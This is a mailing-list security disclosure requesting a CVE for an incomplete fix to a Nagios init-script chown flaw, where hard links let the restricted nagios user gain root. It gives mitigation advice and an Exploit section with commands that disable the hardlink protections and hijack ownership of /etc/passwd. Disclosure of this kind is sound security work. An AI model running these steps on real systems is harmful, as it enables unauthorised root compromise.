Date: Fri, 30 Dec 2016 13:37:37 -0500 From: Michael Orlitzky <michael@...itzky.com> To: oss-security@...ts.openwall.com Subject: CVE request: Nagios: Incomplete fix for CVE-2016-8641 Author: Michael Orlitzky (michael@...itzky.com) Software Name: Nagios Vendor Name: Nagios Enterprises, LLC Type of vulnerability: root privilege escalation Reported to vendor: 2016-12-26 Exploit Vector -------------- The init script for Nagios calls "chown" on a path under the control of Nagios's (usually restricted) user. CVE-2016-8641 describes an attack wherein that restricted user replaces the aforementioned path with a symlink. The root user (via the init script) will -- the next time Nagios is started -- give ownership of the symlink's target to Nagios's user. In that manner, the restricted Nagios user can gain root. An identical attack not addressed by CVE-2016-8641 works with hard links. As long as no special kernel protections are in place, the restricted Nagios user can replace the path (in the directory he controls) by a hard-link. The call to "chown" in the init script affects the target of that hard link. Attack outcome -------------- The restricted Nagios user gains control of any file on the same filesystem as its runtime directory. Affected versions ----------------- Versions 4.2.2 and older are affected by the symlink attack of CVE-2016-8641; those and newer versions, up to the current version 4.2.4, are affected by the hard-link attack. Source code ----------- The fix for CVE-2016-8641 is contained in the following commit, which prohibits "chown" from following symlinks only (via the --no-dereference flag): https://github.com/NagiosEnterprises/nagioscore/commit/f2ed227673d3b2da643eb5cad26b2d87674f28c1 Mitigation ---------- The creation of the problematic hard link is blocked if the user has the fs.protected_hardlinks sysctl enabled. It is *not enabled* by default in the vanilla Linux kernel, but some distributions patch that default. It can be enabled with (as root): sysctl -w fs.protected_hardlinks=1 The grsecurity patches for the Linux kernel provide similar protection when CONFIG_GRKERNSEC_LINK=y. Exploit ------- The following commands should grant ownership of /etc/passwd to the new, restricted "nagios" user. Beware that in order for the attack to work, some important (but non-default) sysctls are disabled. The two paths /etc/passwd and /usr/local/nagios must live on the same filesystem. Afterwards you should re-enable the two sysctls (if they were enabled to begin with), clean up /usr/local, and remove the "nagios" user. sudo mkdir -p /usr/local/tmp \ /usr/local/etc/init.d \ /usr/local/etc/apache2 sudo chmod 777 /usr/local/tmp wget https://github.com/NagiosEnterprises/nagioscore/archive/release-4.2.4.tar.gz tar -xf release-4.2.4.tar.gz rm release-4.2.4.tar.gz cd nagioscore-release-4.2.4 sudo useradd nagios -m -d /home/nagios ./configure --with-nagios-user=nagios \ --with-temp-dir=/usr/local/tmp \ --with-init-dir=/usr/local/etc/init.d \ --with-httpd-conf=/usr/local/etc/apache2 make all sudo make install sudo make install-config sudo make install-init sudo sysctl -w kernel.grsecurity.linking_restrictions=0 sudo sysctl -w fs.protected_hardlinks=0 sudo -u nagios -s ln -f /etc/passwd /usr/local/nagios/var/nagios.log exit sudo /usr/local/etc/init.d/nagios start ls /etc/passwd
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.